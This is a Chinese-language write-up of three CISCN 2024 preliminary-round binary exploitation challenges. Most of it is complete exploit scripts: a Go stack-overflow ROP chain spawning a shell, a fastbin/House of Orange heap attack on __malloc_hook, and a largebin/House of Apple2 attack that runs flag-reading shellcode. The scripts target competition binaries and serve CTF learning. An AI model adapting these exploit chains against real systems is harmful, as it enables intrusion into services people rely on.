CISCN2024初赛 Write Up

PWN

gostack

通过gdb调试发现输入存在溢出,计算得到偏移值,然后根据题目查询golang的栈溢出如何控制执行流。找到一个类似题目:HFCTF(虎符)2022 Pwn gogogo WriteUp - winmt - 博客园 (cnblogs.com)

根据该类似题控制golang的寄存器从而get shell。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./gostack
# ./exp.py re -f ./gostack -u "8.147.129.254 37745"

from ckyan.pwnScript import *

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    ru(b'Input your magic message :\n')

    padding = 0x1c8 + 8

    pop_rdx_ret = 0x4944ec
    pop_rax_ret = 0x40f984
    pop_rsi_ret = 0x42138a
    # pop_rcx_ret = 0x424adc

    pop_rcx_ret = 0x45a5d3

    syscall_ret = 0x4616c9

    mov_val_rax_rcx_ret = 0x42ef93 # mov qword ptr [rax], rcx; ret;

    xchg_r9_rax_ret = 0x460167

    mov_rdi_r9 = 0x414304

    payload = b'\x00' * padding
    payload += p64(pop_rcx_ret)
    payload += p64(0x68732f6e69622f)
    payload += p64(0)*3
    payload += p64(pop_rax_ret)
    payload += p64(elf.bss())
    payload += p64(mov_val_rax_rcx_ret)
    payload += p64(xchg_r9_rax_ret)
    payload += p64(mov_rdi_r9)
    payload += p64(0)*3
    payload += p64(pop_rax_ret)
    payload += p64(0x3b)
    payload += p64(pop_rdx_ret)
    payload += p64(0)
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(syscall_ret)

    # raw_input()

    sl(payload)

    ia()


if __name__ == '__main__':
    exp()



'''
0x000000000045a5d3: pop rcx; add al, 0x48; mov ebp, dword ptr [rsp + 0x10]; add rsp, 0x18; ret;
'''

'''
0x00000000004a18aa : pop r12 ; pop rbp ; pop rbx ; ret
0x00000000004a18a8 : pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
0x00000000004a18a6 : pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
0x000000000040f984 : pop rax ; ret
0x0000000000472b74 : pop rax ; ret 4
0x00000000004a18a9 : pop rbp ; pop r12 ; pop rbp ; pop rbx ; ret
0x00000000004a18ac : pop rbp ; pop rbx ; ret
0x00000000004023ed : pop rbp ; ret
0x000000000040c321 : pop rbx ; ret
0x0000000000424adc : pop rcx ; ret 0x48f2
0x0000000000420b12 : pop rcx ; ret 0xf66
0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
0x00000000004944ec : pop rdx ; ret
0x0000000000495aa5 : pop rdx ; ret 0xff3
0x00000000004227a8 : pop rdx ; ret 9
0x00000000004a18a7 : pop rsi ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
0x000000000042138a : pop rsi ; ret
0x000000000041ff9e : pop rsi ; ret 0x6690
0x00000000004a18ab : pop rsp ; pop rbp ; pop rbx ; ret
0x000000000047c6d8 : pop rsp ; ret 0x4a10
0x000000000040201a : ret

0x0000000000403db6 : mov dword ptr [rcx], 0x72d73948 ; ret 0xf8c5
0x0000000000412a0a : mov dword ptr [rdi + rcx - 0x4a], 0x83495160 ; ret 0x4d08
0x0000000000413715 : mov dword ptr [rdi + rcx - 0x4a], 0x83495160 ; ret 0x4d10
0x0000000000460ef9 : mov dword ptr [rdi], eax ; mov qword ptr [rdi + rbx - 8], rcx ; ret
0x00000000004332a2 : mov eax, dword ptr [rcx + 8] ; mov rbx, qword ptr [rcx + 0x10] ; ret
0x0000000000444140 : mov eax, dword ptr [rdx + rcx] ; mov rbx, qword ptr [rdx + rcx + 8] ; ret
0x00000000004660c4 : mov ebx, dword ptr [rax + 8] ; mov rax, rcx ; ret
0x00000000004332a6 : mov ebx, dword ptr [rcx + 0x10] ; ret
0x0000000000444144 : mov ebx, dword ptr [rdx + rcx + 8] ; ret
0x00000000004660c1 : mov ecx, dword ptr [rax] ; mov rbx, qword ptr [rax + 8] ; mov rax, rcx ; ret
0x0000000000470d95 : mov edi, dword ptr [rcx] ; ret
0x0000000000413ccb : mov qword ptr [rax + 0x40], rcx ; ret
0x000000000042ef93 : mov qword ptr [rax], rcx ; ret
0x0000000000460efb : mov qword ptr [rdi + rbx - 8], rcx ; ret
0x0000000000460ef8 : mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rcx ; ret
0x00000000004332a1 : mov rax, qword ptr [rcx + 8] ; mov rbx, qword ptr [rcx + 0x10] ; ret
0x000000000044413f : mov rax, qword ptr [rdx + rcx] ; mov rbx, qword ptr [rdx + rcx + 8] ; ret
0x0000000000442326 : mov rax, rcx ; mov ebx, 1 ; ret
0x0000000000425cd4 : mov rax, rcx ; ret
0x00000000004660c3 : mov rbx, qword ptr [rax + 8] ; mov rax, rcx ; ret
0x00000000004332a5 : mov rbx, qword ptr [rcx + 0x10] ; ret
0x0000000000444143 : mov rbx, qword ptr [rdx + rcx + 8] ; ret
'''
'''
0x000000000045a5d3: pop rcx; add al, 0x48; mov ebp, dword ptr [rsp + 0x10]; add rsp, 0x18; ret;
0x000000000045ba1a: pop rcx; adc byte ptr [rdi], cl; xchg esp, eax; ret; 
'''

image-20240519180425345

赛后和其他师傅讨论发现这个题目有一个后门,第一次打golang,比赛时间比较紧也没发现。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./gostack
# ./exp.py re -f ./gostack -u "8.147.131.176 40441"

from ckyan.pwnScript import *

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    ru(b'Input your magic message :\n')

    padding = 0x1c8 + 8

    payload = b''
    payload += b'\x00' * padding
    payload += p64(0x4a05a0)

    D()

    sl(payload)

    sh()

if __name__ == '__main__':
    exp()

orange_cat_diary

打法:Fastbin attack + House of Orange

根据题目名称先猜是打house of orange,但是ida查看发现题目给了free,只是限制了次数,这就简单很多了,首先根据溢出修改top chunk的size,然后malloc一个大于该size的堆块,将top chunk free到 unsortedbin中,通过malloc切割unsortedbin的chunk,从残余值中泄露libc基地址。然后通过一次free,free掉一个0x70大小的chunk进入fastbin,edit该堆块修改指针指向__malloc_hook,fastbin对size会进行检查,所以调整一下位置即可。向该hook里写入onegadget,因为有的onegadget执行需要满足一些栈的条件,可以用realloc函数前面打量push操作控制调整栈内存,从而达到可以成功执行onegadget。

完整exp如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./pwn
# ./exp.py re -f ./pwn -u "8.147.131.163 35351" -l libc-2.23.so

from ckyan.pwnScript import *

def cmd(c):
    sla(B'Please input your choice:', str(c).encode())

def add(size, content):
    cmd(1)
    sla(b'Please input the length of the diary content:', str(size).encode())
    sa(b'Please enter the diary content:\n', content)

def show():
    cmd(2)

def dele():
    cmd(3)

def edit(size, content):
    cmd(4)
    sla(b'Please input the length of the diary content:', str(size).encode())
    sa(b'Please enter the diary content:\n', content)

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    if pandora_box.local:
        one_gadgets = [0x40f30, 0x40f35, 0xd3fc8]
    else:
        one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

    ru(b'Please tell me your name.\n')
    s(b'ckyan\x00')

    add(0x18, b'aaaa')
    # dele()

    pad1 = b''
    # pad1 += b'0xdeadbeef'
    pad1 += p64(0) * 3
    pad1 += p64(0xfe1)

    edit(0x20, pad1)

    # D()

    add(0x1000, b'aaaa')

    add(0x10, b'a'*8)

    # D()

    show()

    __malloc_hook_addr = r7f() - 0x668 - 0x10
    log_leak_addr(__malloc_hook_addr)

    libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']
    libc = set_libc_base_and_log(libc_base)

    add(0x60, b'aaaa')

    dele()

    pad2 = b''
    pad2 += p64(__malloc_hook_addr - 35)

    edit(0x60, pad2)

    add(0x60, b'aaaa') # 2

    realloc_addr = libc.sym['realloc']

    pad3 = b''
    pad3 += b'a' * 11
    # pad3 += b'a' * 8
    pad3 += p64(trs(one_gadgets[1]))
    # pad3 += p64(libc.sym['system'])
    # pad3 += p64(libc.address + one_gadgets[3])
    pad3 += p64(realloc_addr + 13) # 4 6 8 10 12 13
    
    add(0x60, pad3)

    # D()

    cmd(1)
    sla(b'Please input the length of the diary content:', b'32')
  

    sh()


if __name__ == '__main__':
    exp()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

image-20240519180531020

EzHeap

打法:Largebin attack + House of apple2

本来打算tcache打IO_list_all,但是好像malloc到io list all的时候会直接EOF,所以还是largebin attack打io list all。题目开沙箱,所以house of apple打orw即可。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help: 
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
'''

# ./exp.py de -f ./EzHeap
# ./exp.py re -f ./EzHeap -u "8.147.131.196 31361" -l ./libc.so.6

from ckyan.pwnScript import *

def cmd(c):
    sla(b'choice >> ', str(c).encode())

def add(size, content=b'aaaa'):
    cmd(1)
    sla(b'size:', str(size).encode())
    sa(b'content:', content)

def dele(idx):
    cmd(2)
    sla(b'idx:\n', str(idx).encode())

def edit(idx, content, size=0):

    if size == 0:
        size = len(content)

    cmd(3)
    sla(b'idx:', str(idx).encode())
    sla(b'size:', str(size).encode())
    sa(b'content:', content)

def show(idx):
    cmd(4)
    sla(b'idx:', str(idx).encode())

def bye():
    cmd(5)

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    add(0x100) # 0
    add(0x100) # 1

    dele(1)

    pad1 = b''
    pad1 += b'a' * 0x100
    pad1 += b'a' * 0x10

    edit(0, pad1)

    show(0)

    ru(b'a' * 0x110)
    heap_base = (uu64(r(5)) << 12) - 0x2000
    log_heap_base_addr(heap_base)

    pad1 = b''
    pad1 += b'a' * 0x100
    pad1 += p64(0) + p64(0x111)

    edit(0, pad1)

    show(0)

    add(0x200) # 1
    add(0x430) # 2
    add(0x200) # 3

    dele(2)

    pad2 = b''
    pad2 += b'a' * 0x200
    pad2 += b'a' * 0x10

    edit(1, pad2)

    show(1)

    leak_addr = r7f()
    log_leak_addr(leak_addr)

    main_arena_addr = leak_addr - 96
    # main_arena_offset = 0x219c80
    main_arena_offset = 0x219c80 + 0x1000

    libc_base = main_arena_addr - main_arena_offset
    libc = set_libc_base_and_log(libc_base)

    pad2 = b''
    pad2 += b'a' * 0x200
    pad2 += p64(0) + p64(0x441)

    edit(1, pad2)

    add(0x430) # 2

    '''
    add(0x200) # 4
    add(0x210) # 5
    add(0x210) # 6

    dele(6)
    dele(5)

    _IO_list_all = libc.sym['_IO_list_all']

    _IO_list_all_tcache_ptr = (_IO_list_all - 0x10) ^ ((heap_base+0x2000) >> 12)

    pad3 = b''
    pad3 += b'\x00' * 0x200
    pad3 += p64(0) + p64(0x221)
    pad3 += p64(_IO_list_all_tcache_ptr)

    edit(4, pad3)

    add(0x210) # 5

    pad4 = b''
    pad4 += p64(heap_base)

    # add(0x210, pad4) # 6 # _IO_list_all
    '''
    
    _IO_list_all = libc.sym['_IO_list_all']

    # largebin attack
    add(0x200) # 4
    add(0x450) # 5
    add(0x200) # 6
    add(0x440) # 7 # _IO_list_all
    add(0x200) # 8

    dele(5)

    add(0x500) # 5

    pad3 = b''
    pad3 += b'\x00' * 0x200
    pad3 += p64(0) + p64(0x461)
    pad3 += p64(main_arena_addr + 1120) * 2
    pad3 += p64(_IO_list_all - 0x20) * 2

    edit(4, pad3)

    dele(7)

    add(0x500) # 7

    _IO_list_all = libc.sym['_IO_list_all']
    _IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
    # _lock = libc.sym['_IO_stdfile_2_lock'] # libc_base + 0x1f5720

    fake_IO_1_addr = heap_base + 0x3600 # *(IO_list_all)
    fake_IO_2_addr = heap_base + 0x2730 + 0x10 # 2
    fake_IO_3_addr = heap_base + 0x3c60 + 0x10 # 5

    fake_stack_addr = heap_base + 0x4170 + 0x10 # 7

    fake_IO_file = b''
    fake_IO_file += p64(fake_stack_addr) * 2
    fake_IO_file = fake_IO_file.ljust(0x28, b'\x00')
    fake_IO_file += p64(1)
    fake_IO_file = fake_IO_file.ljust(0xa0, b'\x00')
    fake_IO_file += p64(fake_IO_2_addr) # _wide_data = fake_IO_2_addr
    fake_IO_file = fake_IO_file.ljust(0xd8, b'\x00')
    fake_IO_file += p64(_IO_wfile_jumps) # vtable = _IO_wflie_jumps

    pad4 = b''
    pad4 += b'\x00' * 0x200
    pad4 += fake_IO_file

    edit(6, pad4)

    pad5 = b''
    pad5 += p64(0) * 28 
    pad5 += p64(fake_IO_3_addr) # 0xe0
    edit(2, pad5)
    
    magic_gadget = libc.address + 0x167420
    mov_rsp_rdx_ret = gadget("mov rsp,rdx;ret")
    add_rsp_0x20_pop_rbx_ret = gadget("add rsp, 0x20;pop rbx;ret")
    pop_rdi_ret = gadget("pop rdi;ret")
    pop_rsi_ret = gadget("pop rsi;ret")
    pop_rdx_rbx_ret = gadget("pop rdx;pop rbx;ret")

    pad6 = b''
    pad6 += p64(0) * 13
    pad6 += p64(magic_gadget)
    edit(5, pad6)

    pad7 = b''
    pad7 += p64(add_rsp_0x20_pop_rbx_ret)
    pad7 += p64(0) * 3
    pad7 += p64(mov_rsp_rdx_ret)
    pad7 += p64(0)
    pad7 += p64(pop_rdi_ret)
    pad7 += p64(heap_base)
    pad7 += p64(pop_rsi_ret)
    pad7 += p64(0x40000)
    pad7 += p64(pop_rdx_rbx_ret)
    pad7 += p64(7)
    pad7 += p64(0)
    pad7 += p64(libc.sym['mprotect'])
    pad7 += p64(fake_stack_addr + 0x200)
    pad7 = pad7.ljust(0x200, b'\x00')
    pad7 += asm(shellcraft.open('./flag'))
    pad7 += asm(shellcraft.read(3, heap_base + 0x2000, 0x30))
    pad7 += asm(shellcraft.write(1, heap_base + 0x2000, 0x30))

    edit(7, pad7)

    D()

    # sh()
        
    bye()
    pattern_flag_from_data(b"flag", ra(timeout=2))

if __name__ == '__main__':
    exp()

image-20240519180226592

updatedupdated2024-06-012024-06-01
加载评论